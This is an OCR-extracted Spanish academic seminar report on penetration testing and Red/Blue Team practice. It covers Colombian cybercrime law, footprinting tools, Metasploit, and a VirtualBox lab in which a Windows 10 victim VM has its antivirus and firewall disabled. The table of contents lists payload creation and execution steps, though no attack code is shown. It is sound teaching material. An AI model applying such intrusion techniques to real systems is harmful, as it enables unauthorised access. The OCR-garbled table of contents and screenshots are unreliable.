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RESUMEN

Debido a la problematica planteada en cada uno de los anexos suministrados dentro
del seminario, por medio de personal experto se busca verificar y analizar ciertos
tipos de comportamientos relacionados con este tema. Por otro lado, el uso de
herramientas de penetracion y deteccion de vulnerabilidades por parte de Red Team
y Blue Team se podria afectar servicios y procesos en organizacion.

Se toma una metodologia mixta la cual permite abarcar distintos puntos de vista y
permite recolectar informacion orientada al tema en cuestion, se hace uso del
modelo metodolégico el cual esta muy enfocado en pruebas de penetracion,
teniendo como referente este. Permite identificar distintas herramientas para
realizar este tipo de pruebas de igual forma se tiene en cuenta las ventajas y
desventajas que tiene el uso de estas herramientas dentro de las organizaciones
tecnologicas. Se logra inferir que por este tipo de practicas y técnicas se puede
verificar el estado de seguridad de los servicios mencionados con anterioridad, pero
de igual manera en algunas ocasiones se puede estar afectando alguno de estos
procesos Yy servicios en las organizaciones debido al uso de estas herramientas ya
gue se estd haciendo una intrusibn al sistema, se plantea ciertas pautas y
recomendaciones para que al momento de realizar estas pruebas no se vea
afectada la organizacion.

Teniendo en cuenta los anteriores aspectos, se realiza la construccion del disefio
para la implementacion de pruebas de intrusidn, este tipo de pruebas estan
enfocadas primero que todo para la deteccion de vulnerabilidades por medio del uso
de herramientas de tipo software, estas permitiran al Red Team disefar estrategias
para no afectar ningun servicio, proceso o fuga de informacion de la organizacion la
cual se encuentra involucrada. Por otro lado, al momento de tener la estrategia de
intrusion y la metodologia de ejecucién clara se dispondra a realizar por medio de
un ambiente controlado pruebas de intrusion para asi poder detectar las falencias
que puede tener el sistema a intervenir. Teniendo en cuenta lo anterior por parte del
Blue Team suministrara controles y recomendaciones de como asegurar la
infraestructura, servicios y procesos de la organizacion, esto con el fin de mitigar o
eliminar ataques.

Palabras claves: Blue Team, Herramientas de penetracidon y deteccion de
vulnerabilidades, Intrusion, Metodologia, Red Team.



ABSTRACT

Due to the problems raised in each of the annexes provided within the seminar,
expert personnel seek to verify and analyze certain types of behaviors related to this
topic. On the other hand, the use of penetration and vulnerability detection tools by
Red Team and Blue Team could affect services and processes in the organization.

A mixed methodology is taken which allows covering different points of view and
allows collecting information oriented to the topic in question, using the
methodological model which is highly focused on penetration testing, having this as
a reference. It allows different tools to be identified to carry out this type of tests, and
the advantages and disadvantages of using these tools within technological
organizations are also taken into account. It can be inferred that through this type of
practices and techniques, the security status of the services mentioned above can
be verified, but in the same way, on some occasions some of these processes and
services in organizations may be affected due to the use of these tools since an
intrusion is being made to the system, certain guidelines and recommendations are
proposed so that when these tests are carried out the organization is not affected.

Taking into account the previous aspects, the construction of the design for the
implementation of intrusion tests is carried out, this type of tests are focused first of
all on the detection of vulnerabilities through the use of software type tools, these
will allow the Red Team design strategies to not affect any service, process or
information leak of the organization which is involved. On the other hand, once you
have the intrusion strategy and the clear execution methodology, you will be
prepared to carry out intrusion tests through a controlled environment in order to
detect any flaws that the system to intervene may have. Taking the above into
account, the Blue Team will provide controls and recommendations on how to secure
the organization's infrastructure, services and processes, in order to mitigate or
eliminate attacks.

Keywords: Blue Team, Penetration and vulnerability detection tools, Intrusion,
Methodology, Red Team.



CONTENIDO

1N R (0] 518001 [ ] N 14
OBUJETIVOS ..ot e e e ettt et e e e e e e et e et bbb e e e e e e e eerraaa s 15
DESARROLLO DEL INFORME ..ottt ettt aeeeaans 16
CONCEPTOS EQUIPOS DE SEGURIDAD ... ittt 16
ACTUACION ETICA Y LEGAL ...ooieeeeeeeeeee ettt 29
EJECUCION PRUEBAS DE INTRUSION ......coviiiiieiie it 32
/=1 o T [0 Lo T | - VAmu S PPPRT 32
Y [oF= g ol PP PP PP PPPPPPPPPPP 32
Disefio de atagues y pruebas de intrusién por parte del Red Team....................... 33
AMDIENTE CONTIOIATO. ....eviiiiiiiiiiiiiiiiiee ettt 33
Procedimiento pruebas de iNtruSiON.............iiiii i 34
(0= T o o [l 2] ¥ o [ o F TP PP PP PP PPPPPPPPPPPPN 35
Paso 1: Acondicionamiento del @SCENAIIO. ..........uuuuuuuiuiiiiiiiiiiiiiiiiiiiiiiieieiiieieeieeieeaaaes 36
Paso 2: Verificacion de COMUNICACION. ...........uuiiiiiieiiiiiiiiiiieie e 37
Paso 3: Analisis de puertoS CON NMMAP. ....ccuuuiiriiiiiee e e e 38
Paso 4: Analisis de vulnerabilidades cOn NESSUS. ...........cuvviiiiiiiiiiiiiiiiieeee e 39
Paso 5: Creacion PaylOad. ............ccoiiiiiiiiiiiiiiieicee e 41
Paso 6: Interaccion usuario con el Payload. ..............cccocoveeeiiiiiiiiiiiee e, 42
Paso 7: Ejecucion del Payload.............cooiiiiiiiiiiiiieiiiiiece e 45
CONTENCION DE ATAQUES INFORMATICOS ......ooviiieeeieeeceee et 48
Aseguramiento, recomendaciones para la mejora de la seguridad de la
INFOIMACTON. ...ttt e e et e e e e e e 48
Aseguramiento MaquiNa VICTIMA. .......ioiiiiiiiiiiiiiiie e 52
Paso 1: Activar firewall de WINAOWS. ..........uuuuuiiiiiiiiiiiiiiiiiiiiiiiiiiieeeeeeieenneneee. 52
Paso 2: Activar antivirus de Windows o instalar uno con licencia...............cccccccvvvnee. 54
Paso 3: Restringir €l aCCESO rEMOTO. .....uuuuuiriiiiiiiiiiieiiiiiiiiiieieieereeeeeaeaeeneeeeeneeeeeeneeneae 54
Paso 4: Tener activas las actualizaciones de WiNndOWS. ................eueiimimiiimmiiiiiinnnnnn. 56
Paso 5: Generar copias de SEQUITUAT. .........uuuuuruurieiieiieiiiiieiieiieieeeeeeeaeeeneeenneeeres 57

Pas0 6: CUENLAS B USUAIIO. ....ceueeeeeeeeee ettt et e et e e e e e e e e e e e e enaenees 58



De qué manera pueden aportar en el campo de la ciberseguridad la integracion de
equipos blue team, red team y purple team al mismo tiempo dentro de una

OFQANIZACION. ...eeiiiiieeeiie ettt e ettt e e e e e e et e et et e e e e e e s s e ettt e e e e e e e e e s e annbbbneeeaeaeeeaaan 59
CONCLUSIONES. ...ttt ettt ettt e st e et e e et e e e ba e e e nbbe e e snbeeeanbeeeas 60
RECOMENDACIONES. ...ttt e et e ettt e et et e e e et e aeeeaans 61
BIBLIOGRAFIA ...ttt ettt ettt ettt e te e ve et esaeereareenens 62

ANEXOS e e e e e e e 64



LISTA DE FIGURAS

Figura 1. Arquitectura Metasploit. .........cooiieiiiiiiiiiii e e 19
Figura 2. VIirtualBoX 7.0.20 .....ccooviiiiiiiiiiiiiiiiiiieeeeeeeeeeeeeeeeeee ettt 20
Figura 3. Creacion Maquina Virtual.............ccooveeiiiiiinii e 21
Figura 4. RAM - ProCESAUO. ......cccviiiiiiiiiiiiiiiiiiiieeeeeeeeeeee ettt 22
1o T 1= TR B Yoo I U o TR 22
Figura 6. INStalacion SO. ... 23
Figura 7. ESCritorio WINAOWS 10. ........uuiiiiiieiiiiiiiiiiie et e e 23
Figura 8.Desactivacion @ntiVIFUS. ...........ooiiuuuiiiiiiiee et e e e e e e e e 24
Figura 9. Firewall desactivado. ............cccooiieiiiiiiiiiiie e 24
Figura 10. Creacion Maquina Virtual...............eeeeeiieiiiiiiiiiiccecee e 25
Figura 11. RAM Y ProCeSadOr. ........covuuiiiiie et 25
Figura 12. DISCO DUIO. ...ccoiiiiiiiiiiiiiiiiiiiieeeeeeeeeeee ettt 26
Figura 13. Instalacion Kali LINUX. ..........ccoiiieoiiiiiiiiiis e 26
Figura 14. Kali LINUX. ...cooooiiiiiiiiiiiieeeeeeeeeeeeeeeeeeeee ettt 27
Figura 15. IP Maquina WINAOWS 10. ......cccooeeiiiiiiiiiiie e 27
Figura 16. IP Maquina Kali LINUX. .......cccoiiiiiiiiiiiiiieeeeeeeeeeeeeeeeeeeeeeeeeee e 28
Figura 17. Ping de Kali Linux @ WINAOWS.............uuiiiiiiiiiiieeciicce e 28
Figura 18. Ping WINndows a Kali LINUX.........cccoriiiiiiiiiiiiiiiiiiiiieieeeeeeeeeeeeeeeeeeeeeeeeeeeee 28
Figura 19. VirtualBoX 7.0.10.......ccooiiiiiiiii e 34
Figura 20. Kali LINUX. ...ccooiiiiiiiiiiiiieeeeeeeeeeeeeeee ettt 36
1o T 1= W2 I VAV To [ 1A= 0 37
Figura 22. IP WINAOWS 10. ...ccoiiiiiiiiiiiiiiiieiieeeeeeeeeeeee ettt 37
FIgura 23. 1P Kali LINUX. ...euuuiiiiciiieee et e e e e e e 38
Figura 24. Ping desde Kali Linux @ Windows 10. ........cccouvviiiiiiiiiiiiiiiiiiiiiiiieeeeeeeeeen 38
Figura 25. Escaneo puertos maquina ViCtima. .........cccceeeevviiiiiiiiiiie e 39
Figura 26. Escaneo puerto 443 maquina VIiCtima. .........ccuvveeeeeieeeiniiiiiiiiieeee e 39
1o T L= A A AN [T 1 R 40
Figura 28. Creacion ESCANEO0. ........cccuuii ittt e e e e e e e 40
Figura 29. Vulnerabilidad mas relevante.............ccccoeeiiiiiiiiiiiciiii e 41
Figura 30. Estado firewall maquina ViCtima. ..........ccoooiiiiiiiiiiiee e 41
Figura 31. Creacion Payload...............uiiiiiiiiiiieecie e 42
Figura 32. Ubicacion Payload. ..........ccccccviiiiiiiiiiiiiiiieeeeeeeeeeeeeeeeeee 42
Figura 33. Escritorio maquina victima, antes del ataque. ..............cceeevvvvvvvieeneeeennn. 43
Figura 34. Descarga del archivo @Xe. ........ccouviiiiiiiiiiiiiiiiiiiiiiiiieeieeeeeeeeeeeeeeeeee e 43
Figura 35.Advertencia de deSCarga. .........cooeevviuiiiieiiiiiie e 44
Figura 36. Archivo .exe en la maquina Victima. ..........ccccccvvvviiiiiiiiiiiiiiiiiiiiiiiiieeeee 44
Figura 37. Ejecucion Payload. .............ccooooiiiiiiiiici e 45
Figura 38. Comando SYSINTO. .......coiiiiiiiiiiiiiiieeeeeeeeee e 46
Figura 39. Comando Shell. ... 46
Figura 40. Ubicacion arChivo .IXE..........cooviiiiiiiiiiiiiiiiiiiiieeeeeeeeeeeeeeeeeeeeeee e 46
Figura 41. Comando del. .........iiiiiiiii e 47
Figura 42. Escritorio maquina victima, después del ataque............ccccevvvvvvncenieeennn. 47



Figura 43.
Figura 44.
Figura 45.
Figura 46.
Figura 47.
Figura 48.
Figura 49.
Figura 50.
Figura 51.
Figura 52.

(Of0] 1 =10 [0 [0 I @1 [=T= 1= 28 47
(O g T=Tod {11 49
Firewall desactivado. ...........coiiuuiiiiiiiiiiie e 53
Configuracion de perfiles firewall. ... 53
ANLIVIFUS ACHVAAOD. ....uuiiiiiiie e e e e 54
ACCESO FEMOLO ACHIVO.....iveiiiiiei et e e e e e e 55
AccesOo remoto deSACIVAUO. ........ccevviiiiiiiiieeeee e 55
WINAOWS UPAALE. ... 56
(0] o] F= W [SISY=To U] o F= To SRR 57
(@R T=T ] =30 [T 11U = [0 T 58



LISTA DE TABLAS

Tabla 1. 1dentificacion d@ ACHIVOS. .....c. e e 50



GLOSARIO

CIBERSEGURIDAD: Practica que se encarga de la proteccién de informacion,
infraestructura tecnoldgica y aplicativos de ciberdelincuentes.

DETECCION: Proceso el cual permite analizar y monitorear eventos poco inusuales
dentro de los sistemas de la organizacion.

ESTANDAR: Guia o modelo que se toma como referencia para realizar una
implementacion o actividad especifica, en el area de la ciberseguridad se utiliza
como guia de buenas practicas y disefio de sistemas de gestidon de la seguridad de
la informacién.

HERRAMIENTAS DE PENETRACION O PENTESTING: Herramientas de tipo
software las cuales permiten ingresar o captar informacion de un sistema especifico,
herramienta utilizada por el Red Team o Ciberdelincuentes.

INFORMACION: Conjunto de datos lo cuales contienen un mensaje especifico el
cual puede ser de alto valor, en temas de ciberseguridad la mayoria de las veces
es de mucha criticidad.

RED TEAM: Grupo de hackers éticos los cuales implementan técnicas de
penetracion para la deteccién de vulnerabilidades en organizaciones.

RIESGO: Es un elemento o factor el cual genere un tipo de desconfianza o
probabilidad de fuga de informacion, dafio a la infraestructura tecnoldgica y
operaciones y servicios de la organizacion.

TECNICAS: Préctica la cual tiene como obijetivo llegar a un resultado final con los
parametros y requisitos que tenia el objetivo inicial.

VULNERABILIDAD: Se conoce como una falencia dentro de un sistema informatico,
la cual puede provocar un peligro o riesgo a la organizacion, esto lo puede
aprovechar un ciberdelincuente para hacer dafio a esta.



INTRODUCCION

En el presente documento se puede apreciar lo fundamental que es para las
organizaciones contar con un Red Team y Blue Team. Por medio de practicas,
técnicas y con la ayuda de herramientas de penetracion y deteccion de
vulnerabilidades. El uso de estandares y metodologias, se identificaron
herramientas de penetracion, las cuales permiten saber si cumplen con los
requerimientos de seguridad para la operabilidad. Debido al crecimiento de
amenazas y ataques por parte de ciberdelincuentes, las organizaciones cada vez
estan haciendo méas uso del Red Team y Blue Team para realizar este tipo de
pruebas. Teniendo en cuenta lo anterior se realiza recomendaciones a las
organizaciones para mitigar el riesgo al momento de realizar pruebas de penetracion
debido a que algunas ocasiones pueden afectar algunos procesos y servicios al
momento de hacer uso de las herramientas de penetracion de deteccion de
vulnerabilidades.
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OBJETIVOS

Objetivo General.
e Formular estrategias de contencion mediante el andlisis de riesgos y
vulnerabilidades en una infraestructura TI.
Objetivos Especificos.
e Establecer estrategias o técnicas de intrusion con el fin de emular lo
hecho por el atacante.
e Disefiar politicas de seguridad para mitigar o eliminar amenazas

relacionadas con ciberseguridad.

15



DESARROLLO DEL INFORME

CONCEPTOS EQUIPOS DE SEGURIDAD

1. Actualmente en Colombia existen marcos regulatorios los cuales se enfocan no
solamente a ley de delitos informaticos sino a la proteccion de datos personales los
cuales deben ser asegurados por parte de organizaciones las cuales reunen data
de miles de personas. En este orden de ideas se requiere que defina de forma
general y con sus palabras qué menciona la ley 1273 de 2009 y definir cada articulo;
ademas deben explicar de manera general todo al respecto de la ley 1581 de 2012.
Para la ley 1581 de 2012 deben consultar el monto de las multas correspondientes
y la entidad que regula este tema en Colombia.

Ley 1273 de 2009: Esta ley est4 enfocada en la proteccion de la informacion y
datos, esto con el fin de proteger a personas u organizaciones de algun tipo de
fraude o ataque relacionado con la informacion y proteccion de la datos. Teniendo
en cuenta lo anterior se puede comprender mejor esta ley sus respectivos articulos
los cuales seran mencionados a continuacion.

Articulo 269A: Acceso abusivo a un sistema informatico. Este articulo quiere decir
gue todo acceso sin autorizacion puede tener una pena de prisién entre 48 a 96
meses y una multa 100 a 1000 SMLV.

Articulo 269B: Obstaculizacion ilegitima de sistema informéatico o red de
telecomunicacién. Por medio de este que, si alguien que no tenga las facultades,
obstruye o interrumpe algun sistema informatico o de telecomunicaciones, puede
tener una pena de prision entre 48 a 96 meses y una multa 100 a 1000 SMLV.

Articulo 269C: Interceptacion de datos informaticos. Esta terminante prohibido el
intercepcién de datos sin previa autorizacién judicial, si se incurre en esto puede
tener una pena de prision entre 36 a 72 meses.

Articulo 269D: Dafio Informatico. El dafio, modificaciones, eliminacion de
informacion de algun sistema informatico , puede tener una pena de prisién entre
48 a 96 meses y una multa 100 a 1000 SMLV.

Articulo 269E: Uso de software malicioso. Es prohibido el uso, venta, circulacion
de cualquier tipo de software malicioso, puede tener una pena de prision entre 48 a
96 meses y una multa 100 a 1000 SMLV.

Articulo 269F: Violacibn de datos personales. Sin tener las facultades o su
respectiva autorizacion, no se puede hacer uso de datos de ninguna indole para

16



realizar venta, intercambios, modificaciones, entre otros, puede tener una pena de
prision entre 48 a 96 meses y una multa 100 a 1000 SMLV.

Articulo 269G: Suplantacion de sitios web para capturar datos personales. No se
podra realizar ningan disefio, programa, publicidad, ejecutables con el fin de
capturar datos, puede tener una pena de prisién entre 48 a 96 meses y una multa
100 a 1000 SMLV.

Articulo 269H: Circunstancias de agravacion punitiva, en este articulo las penas
pueden variar respecto a los siguientes items:

e Sobre redes o sistemas informéaticos o de comunicaciones estatales u
oficiales o del sector financiero, nacionales o extranjeros.

e Por servidor publico en ejercicio de sus funciones.

e Aprovechando la confianza depositada por el poseedor de la informacién o
por quien tuviere un vinculo contractual con este.

e Revelando o dando a conocer el contenido de la informacion en perjuicio de
otro.

e Obteniendo provecho para si 0 para un tercero.

e Con fines terroristas 0 generando riesgo para la seguridad o defensa
nacional.

e Utilizando como instrumento a un tercero de buena fe.

Teniendo en cuenta lo anterior, se puede aumentar la pena de la mitad a tres cuartas
partes.

Articulo 269I: Hurto por medios informéticos y semejantes, por medio de este aquel
qgue incurra en la penetracién de cualquier sistema informatico que manipule o
modifique informacién tendra como pena la mencionada en el articulo 240 de este
caodigo.

Articulo 269J: Transferencia no consentida de activos, todo aquel que se lucre por
medio de la informacion o datos o haga afectaciones por medio de esta tendra como
pena entre 48 a 120 meses de prision y una multa de 200 a 1500 SMLV.

2. El pentesting es un proceso de gran vitalidad en el campo de la ciberseguridad,
por este motivo usted debe definir cada etapa del pentesting, pero tiene que
especificar con mayor detalle la etapa de footprinting, de qué trata esta etapa, ¢ qué
aplicaciones (Opensource y pagas) podria utilizar para este proceso? ¢ Y por qué
piensa que es una de las etapas mas importantes dentro del pentesting?

Antes de responder las preguntas se debe de dar claridad en que consiste
footprinting, lo podriamos ver como un pre antes de un ciberataque. La informacion
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recolectada se puede encontrar de manera publica y gratuita, mucha de esta
informacion estéa disponible en sitios web, redes sociales y motores de blusqueda.

¢, Qué aplicaciones (Opensource y pagas) podria utilizar para este proceso?

e Google Dorks.

¢ WHOIS.
e Netcraft.
¢ DNS Recon.

¢ Y por qué piensa que es una de las etapas mas importantes dentro del pentesting?

Teniendo en cuenta lo anterior este procedimiento es muy importante debido a que
por medio de este se recolecta informacion de gran importancia para realizar el
proceso de pentesting, la informacion recolectada usando uso de las distintas
herramientas footprinting nos podra suministra por medio del dominio, IPs de
servidores, puertos, servicios, protocolos, entre otros.

3. Metasploit es quizas una de las herramientas de importancia en el campo de la
seguridad; algunos hackers expertos desarrollan sus propios frameworks, otros
deciden utilizar frameworks existentes, por ello su trabajo en este apartado es
buscar el funcionamiento, arquitectura y opciones que trae Metasploit el cual se
encuentra disponible desde Kali Linux.

Metasploit: Es un framework y software de cddigo abierto el cual se encuentra
disponible en la paqueteria de herramientas de Kali Linux, esta herramienta es una
de la més utilizadas en la ejecucion de exploits. Metasploit ahora incluye mas de
1677 exploits.

Teniendo en cuenta lo anterior los exploits que contienen esta herramienta pueden
ser utilizados en: Escaneos y recopilacion de informacion, deteccion y explotacion
de vulnerabilidades, escalamiento de privilegios, ataques relacionados con puertas
traseras, fuzzing, evasion de software de seguridad, acceso remoto, eliminacion de
rastros de actividades maliciosas, entre otros.

18



Figura 1. Arquitectura Metasploit.

Metasploit Framework architecture

LIBRARIES INTERFACES

=
23 MSF Base

PLUGINS

MODULES

< RAPID7
Fuente: https://mostrandomishobbies.blogspot.com/

¢ Qué es un CVE y su estructura?

CVE (Common Vulnerabilities and Exposures) es conocido como un
programa encargado de identificar, definir y catalogar las vulnerabilidades de
seguridad cibernética divulgadas publicamente, este proyecto fue formado
principalmente por el gobierno de los estados unidos, por medio de este se
busca tener una colaboracién internacional con el fin de estructurar y definir
las distintas amenazas y ataques cibernéticos.

https://www.exploit-db.com/ cémo se utiliza y como se articula con el CVE?
CVE cuenta con un proceso de articulacion para definir si es necesario incluir

dentro del programa una vulnerabilidad, para esto se debe de tener los
siguientes aspectos:
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Presentacion inicial y tratamiento: En este fase lo que se busca es
analizar, investigar las solicitudes de los registros correspondientes a las
vulnerabilidades presentadas.

Candidatura: Esta fase tiene en cuenta 3 items, las cuales pueden ser por
medio de la asignacion directa de CVE Content Team, teniendo en cuenta el
estudio previo de la propuesta de la vulnerabilidad. Por otro lado, CVE Editor
puede realizar una asignacion directa si la vulnerabilidad se considera critica.
Después se realiza una reserva o identificador CVE-ID esto lo realiza una
organizacion o personal calificado.

Publicacién: El tema de la publicacion puede tardar un tema indefinido, este
proceso puede cambiar ya que puede cambiar algunos factores en la
revisiones y aprobaciones previas.

4. Para finalizar esta actividad es importante que usted reconozca, analice y
configure “banco de trabajo” lo solicitado en el anexo 1 — Escenario 1 sobre el cual
debera trabajar actividades que contienen un alto grado de tecnicidad.

Paso A: Descargar la herramienta virtualizadora “VirtualBox”

Figura 2. VirtualBox 7.0.10

VirtualBox

[£8

Interfaz Grafica de Usuario de VirtualBox
Versién 7.0.10 r158379 (Qt5.15.2)
Copyright © 2023 Oracle and/or its affiiates.

Cerrar

Fuente: Propia.

20



Paso B: Para el banco de trabajo se requieren 2 maquinas virtuales, una con Kali
Linux (la version que tengan) y la otra maquina debera ser un Windows 10 con todo
su sistema de seguridad abajo (Windows defender, antivirus, firewall entre

otros).

Instalacion maquina virtual Windows 10.

Figura 3. Creacion Maquina Virtual.

8 Crear maquina virtual ? X

Nombre y sistema operativo de la maquina virtual

riptivo y carpeta destino para la 1dquina virtual. El nombre que rd usado por
maquina. Adiconalmente, ccionar una imagen 150 que da para instalar
‘ Nom Windows 10
Vo Carpeta: .D:‘\VlrtuaIEm:
Imagen IS0: FT? D:\Seminario Especializado\ANEXOS\WIN 10 X6H\Win10_22H2_Spanish_x64v1.iso
Edicién: 'Windows 10 Home (10.0.19041.2965 / x64 / es-ES)

Wi

Omttir instalacidn desate

® Tipo de SO detectad (64-bit). Este tipo de SO puede ser instalado de forma desatendida. La

instalacién se inicara este asistente.

Ayuda Modo experto Siguiente Cancelar

Fuente: Propia.
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Figura 4. RAM - Procesador.

- ~

W) Crear maquina virtual E x

Hardware

‘ 3072 MB
T
Habiitar EFI (sdlo SO e
Ayuda Anterior Siguiente Cancelar
i N
N Crear méaquina virtual ? X
Disco duro virtual
Silo d il adir un nuevo disco duro vitual a la nue
duro o seleccionar uno existente. De forma alternativa pu
‘ ar un disco duro virtual ahora
Tamafio de disco: 50,00 GB
~is
4,00 MB
var tamaiio gump\em
r un archivo de disco duro virtual existente
Fy
No afiadir un disco duro virtual
Ayuda Anterior Siguiente Cancelar

Fuente: Propia.
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Figura 6. Instalacion SO.

i lows 10 [Corriendo] - Oracle VM VirtualBox

Archivo  Maquina Ver Entrada Dispositivos Ayuda

& Programa de instalacién de Windows

Instalando Windows

Estado

J Copiando archivos de Windows
Preparando archivos parainstalacién (10%)
Instalando caracteristicas
Instalando actualizaciones

Acabando

Fuente: Propia.

Figura 7. Escritorio Windows 10.

ows 10 [Corriendo] - Oracle VM Virtu

Archivo Maquina Ver Entrada Dispositvos Ayuda

841PM

H Q@ - = ABOBY g0 B

%@ O Escribe aqui para buscar.

Fuente: Propia.
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Figura 8.Desactivacion antivirus.

Windows 10 [Corriendo] - Oracle VM VirtualBox = (m] X

Archivo  M3quina Ver Entrada Dispostivos Ayuda

eg\mdad de Windows

¢ Proteccién contra amenazas para tu dispositivo,

@ Amenazas actuales
No hay amenazas actuales.
Ultimo examen: No disponible

Examen répido

Opciones de examen
Amenazas permitidas

Historial de proteccion

Configuracion de antivirus y proteccion contra
amenazas

La proteccion en tiempo real estd desactivada, lo que hace que tu
dispositivo sea vulnerable.

Activar T Seguridad de Windows

Administrar la configuracién

O Escibe aquf para buscar B @ n &3 ABL@W o B

Fuente: Propia.

Figura 9. Firewall desactivado.

g8 Windows 10 [Corriendo] - Oracle VM VirtualBox = O X

#® Windows Defender Firewall con seguridad avanzada - ] x
Archivo  Accin Ver Ayuda
4= |7 B
I RCEEE R RS RS Windows Defender Firewall con seguridad avanzada en Eq local Acciones
H3 Reglas de entrada | Windows Defender Firewall... 4
eqles de salida ﬂ
i Reglas de seguridad de con Windows Defender Firewal con seguridad avanzada proporciona seguridad de red para equipos Windows. &) Importar directiv..
> B, Supenisién 45| Exportar directiva...
Informacién general = Restaurar diectiva pre.
Perfil de dominio Disgnosticar / Reparar
& Firewall de Windows Defender esté desactivado. Ver N
Perfil privado |6 Actualizar
& Firewall de Windows Defender esté desactivado. [5) Propiedades
El perfil piblico esta activo. B Ayud
& Firewall de Windows Defender ests desactivado.
Propiedades de Firewall de Windows Defender
Introduccién =
Autenticar comunicaciones enfre equipos
Cree reglas de sequidad de conexién pars especficar cémo y cuando deben auterticarse y protegerse las conexiones
ertre equipos por medio del protocolo de sequidad de Intemet (IPsec).
Reglas de segurdad de conexén
Very crear reglas de firewall
Cree reglas de frewall para pemitr o bloguear conexiges = tiortns aenantinarne Tavbién puede pemiti
una caneién selo i estd auterticads o proviene de U g Firewall de Windows Defender 3 predeteminada,
las conexiones ertrantes se bloguean a menos que ca onexiones salertes
52 pemnten a menos que concidan con Una reglaqua |+
Regles de entrada
Reglas de salida
Var Ia dirarfivs w acfividad da firowsl ©
< > | ) >
. =5 - = B4TPM
O Escribe aquf para buscar, = ANEBBO gy B

Fuente: Propia.
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Instalacibn maquina virtual Kali Linux.

Figura 10. Creacién Maquina Virtual.

(=]
=

destino para la nueva iina virtual. El nombre g
Adicionalmente cionar una imagen ISO qu

s

Nombre: Kaii Linux

Carpeta: L 5;

Imagen IS0: Fﬂ D:\Seminario Especiaizado\ANEXOS\kali-inux-2023.2a-installer-amd64.iso

© Tipo de 50 detectado: Ubuntu (64-bi tipo de SO no puede stalado de forma desatendida. Es
necesario iniciar manuaimente la instalacién.

Ayuda Modo experto Siguiente Cancelar

Fuente: Propia.

Figura 11. RAM y Procesador.

re de la maquina virtual cambiando la cantidad de RAM y niimero de CPU virtuales.

2560 MB
10240 MB

icpy

Habiltar EFT (sélo SO especiales)

Anterior Siguiente Cancelar

Fuente: Propia.
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Figura 12. Disco Duro.

- o - o
N§ Crear maquina virtual ? X

Disco duro virtual

ar un nuevo archivo de disco
uina virtual sin un disco duro virtual

Tamafio de disco:
4,00 MB
Reservar tamafio completo

Usar un archivo de disco duro virtual ex

AR

No afiadir un disco duro virtual

Ayuda Anterior Siguiente Cancelar

Fuente: Propia.

Figura 13. Instalacion Kali Linux.

Kali Linux [Corriendo] - Oracle VM VirtualBox = O X

Archivo Maquina Ver Entrada Dispositivos Ayuda

Instalar el sistema base

pramsae e

Extrayendo apt..

O™ | € B crre oERECHA
Fuente: Propia.
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Figura 14. Kali Linux.

Archivo Mdquina Ver Entrada Dispositivos Ayuda

S mEmP O] 2 3 4 O ¢ A @ 225 |

| KALI I

B O¥ T ¢ MO T ¥| @ K crre DrECHA
Fuente: Propia.

Paso C: Debe validar que exista comunicacion entre cada una de las maquinas
Windows y Kali Linux, recuerde por favor no exceder la asignacion de recursos entre
las dos maquinas ya que puede colapsar los recursos hardware de su equipo host,
encienda primero una maquina Windows y posterior a ello encienda la maquina Kali
Linux.

Figura 15. IP Maquina Windows 10.

Preferido)

Fuente: Propia.
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Figura 16. IP Maquina Kali Linux.

ethl: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.4.4 netmask 255.255.255.@0 broadcast 10.0.4.255
inet6 fe8 ao:27ff:feb8:60f9 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:b8:60:f9 txqueuelen 1000 (Ethernet)

RX packets 45 bytes 9730 (9.5 KiB)

RX errors @ dropped @ overruns @ frame @

TX packets 91 bytes 15388 (15.0 KiB)

TX errors @ dropped @ overruns @ carrier @ collisions 0

Fuente: Propia.

Figura 17. Ping de Kali Linux a Windows.

= 1 10.0.4.5

PING 10.0.4.5 (10.0.4.5) 56(84) bytes of data.

64 bytes from 10. : icmp_seg=1 ttl=128 time=1.79 ms
64 bytes from 10. icmp_seq=2 ttl=128 time=0.939 ms
64 bytes from 10. icmp_seq=3 ttl=128 time=1.20 ms
64 bytes from icmp_seqg=4 ttl=128 time=1.00 ms
64 bytes from icmp_seq=5 ttl=128 time=1.05 ms
64 bytes from icmp_seq=6 ttl=128 time=1.05 ms
64 bytes from icmp_seq=7 ttl=128 time=0.871 ms
64 bytes from icmp_seq=8 ttl=128 time=1.09 ms
64 bytes from icmp_seq=9 ttl=128 time=0.809 ms
64 bytes from icmp_seq=10 ttl=128 time=0.896 ms
il

— 10.0.4.5 ping statistics —

10 packets transmitted, 10 received, 0% packet loss, time 9009ms
rtt min/avg/max/mdev = 0.809/1.070/1.793/0.264 ms

(SRS B~ IS B S I T I~

L i B B R i
(S0, I, IS, IS, INE, N, IE, IS, IS

Fuente: Propia.

Figura 18. Ping Windows a Kali Linux.

didos

indos :

Fuente: Propia.
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ACTUACION ETICA Y LEGAL

Teniendo en cuenta el anexo 2 y anexo 3 se da con el desarrollo de la presente
actividad.

1. ¢Una vez leido el anexo 2 — escenario 2 y el anexo 3 — Acuerdo, ¢Qué parrafos
cree usted que se tornan ilegales dentro del acuerdo de confidencialidad? En caso
de existir lineas de texto que orienten el acuerdo de confidencialidad a procesos
ilegales debera resaltar, explicar y argumentar porqué se torna ilegal este acuerdo
de confidencialidad.

Teniendo en cuenta el analisis realizado de los anexos suministrados previamente
se logra encontrar distintas falencias en el acuerdo de confidencialidad, para ello se
indicara las partes y parrafos que se consideran ilegales o que podrian afectar a la
parte receptora y a su ver a la organizacion.

Clausulas.

Primera: En esta clausula se indica que no se puede divulgar ningan tipo de proceso
llegal dentro de la organizacion.

Segunda: En el item 2 indica temas relacionados con datos secretos, chuzadas,
Intercepcion ilegal de informacion, accesos intrusivos a sistemas
informéticos.

Cuarta: En el item 3 indica que la parte receptora no realizara denuncias de
Actividades sospechosas, las cuales tengan que ver con espionaje y temas
relacionados con la apropiaciéon de datos de terceros. En el item 6 indica que
la parte receptora no trasmitira ningun tipo de informacién confidencial o
ilegal sin consentimiento de la organizacion.

Octava: Segun la solucion de controversias, indica que teniendo en cuenta la
informacion ilegal o confidencial que se encuentre en el poder de la parte
receptora, esta debera acudir a un abogado privado y debera dejar exenta
de cualquier responsabilidad legal y penal a la organizacion.

2. Si usted como profesional en ciberseguridad logré encontrar algun proceso ilegal
en el anexo 3 — Acuerdo, debera citar puntualmente ley colombiana y articulo que
se podria estar violentando en dicho documento.
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Teniendo en cuenta el anexo 3, se encontraron ciertas inconsistencias las cuales
incurren en aspectos ilegales, para ello se logra sustentar dicha informacion en los
articulos relacionados con la ley 1273 del 20009.

